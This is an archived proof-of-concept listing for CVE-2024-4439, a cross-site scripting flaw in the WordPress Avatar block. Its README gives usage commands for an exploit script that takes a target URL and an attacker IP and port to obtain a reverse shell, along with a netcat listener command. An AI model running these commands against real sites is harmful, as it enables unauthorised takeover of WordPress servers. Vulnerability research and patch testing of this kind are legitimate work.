Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4439 PoC — WordPress 跨站脚本漏洞

Source
Associated Vulnerability
Title:WordPress 跨站脚本漏洞 (CVE-2024-4439)
Description:WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress Core 6.5.2 及之前版本存在跨站脚本漏洞,该漏洞源于Avatar 块中的 display name 输出转义不足,攻击者利用该漏洞可以在页面中注入任意 Web 脚本,
Description
aa
Readme
## Exploit CVE-2024-4439

This Python script demonstrates an exploit for the vulnerability **CVE-2024-4439**. You can use this script to test a vulnerable WordPress site.

### Usage
Before start

```bash
git clone https://github.com/soltanali0/CVE-2024-4439.git
cd CVE-2024-4439
pip install -r r.txt --break-system-packages
```

Run the script using the following command:

```bash
python3 exploit.py -u https://target.com/ --ip ServerIp --port 8000
```

- `-u`: Specifies the target URL of the WordPress site.
- `--ip`: Defines the attacker's IP address.
- `--port`: Indicates the port number to be used for the reverse shell.

and Run netcat on server 

```bash
nc -lvp 8000
```

### About GO-TO CVE

**GO-TO CVE** is a dedicated channel where I explore various vulnerabilities, their impacts, and mitigation strategies. I publish detailed analyses of specific CVEs each week, including proof-of-concept (PoC) exploits, code snippets, and explanations of how attackers can leverage these vulnerabilities.

In this channel, I aim to educate security enthusiasts and professionals about the importance of vulnerability awareness and the steps needed to protect against potential threats. By understanding vulnerabilities like **CVE-2024-4439**, we can better prepare ourselves to defend our systems and applications.

Join me in this journey of learning and sharing knowledge in cybersecurity!

• https://t.me/GOTOCVE

### Reference

• https://github.com/d0rb/CVE-2024-4439
• https://github.com/MielPopsssssss/CVE-2024-4439

File Snapshot

[4.0K] /data/pocs/5842dbd55f578c357e1f60dfa84729838996bf99 ├── [2.3K] exploit.py ├── [1.5K] README.md └── [ 27] r.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.